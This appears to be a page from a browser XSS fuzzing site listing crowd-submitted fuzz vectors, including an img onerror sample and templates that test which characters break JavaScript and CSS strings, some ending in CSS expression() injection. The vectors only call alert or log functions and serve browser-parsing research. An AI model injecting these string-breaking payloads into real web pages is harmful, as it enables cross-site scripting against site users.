Featured vector

Default Browser 0.0
<!-- sample vector --> <img src onerror0x0a=0x0aalert(1)>

Fuzz vector cloud

Anchor Attributes CSS Closing Comments HTML HTML5 JavaScript Property Protocol Script URL XSS attribute bla bypass challenge char comment data encoding entities entity event events expression flash for fun handler href img innerHTML navigateURL onload prompt properties regex space src string style svg tag tags test testing uri vbscript xml

3,403,239 Successful fuzzes

Fuzz Vectors

Searching for "string"

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Description Vector Created by
Characters that close strings in chrome 2 <!-- sample vector --> <script>var test = 'test*chr*;logChr(*num*);</script> @Nomicon3
String quotes in JS context <script>s*num* = *chr**num**chr*;if (typeof s*num* == "string" && s*num* == "*num*") logChr(*num*);</script> @blubbfiction
Characters that start JavaScript double quote strings <script> *chr*"; logChr(*num*) </script> @peksa
Characters that result in multiline strings <script> var a = "*chr* "; logChr(*num*); </script> @tifkin_
Characters allowed after string multiline separator <script> var x = "asdf\*chr* asdf"; logChr(*num*); </script> @tifkin_
String variables <script> props=props.concat(Object.getOwnPropertyNames(window)); for(var i=-100;i<100;i++) { props.push(i); } props.forEach(function(){ if(''[arguments[0]])customLog(arguments[0]); }) </script> @garethheyes
Characters eating backslash in javascript string 2 <script>if("x\*chr*".length==2) { log(*num*);}</script> @mhswende
Characters eating backslash in javascript string <script>if("x\*chr*".length==1) { log(*num*);}</script> @mhswende
Characters ignored inside javascript string v2 <script>if("x*chr*x" == "xx") { log(*num*);}</script> @mhswende
Uncode sequences generating illegitimate ASCII <script> "\ud83d\u*hex4*".match(/.*<.*/) ? log(*num*) : null; </script> @0x6D6172696F
Characters consuming backslashes and breaking JS strings <script>a='abc\*chr*\';log(*num*)//def';</script> @0x6D6172696F
Characters breaking CSS strings allowing expression "'`>ABC<div style="font-family:'foo*chr*;x:expression(log(*num*));/*';">DEF @0x6D6172696F
Characters ending CSS values allowing expressions "'`>ABC<div style="font-family:'foo'*chr*x:expression(log(*num*));/*';">DEF @0x6D6172696F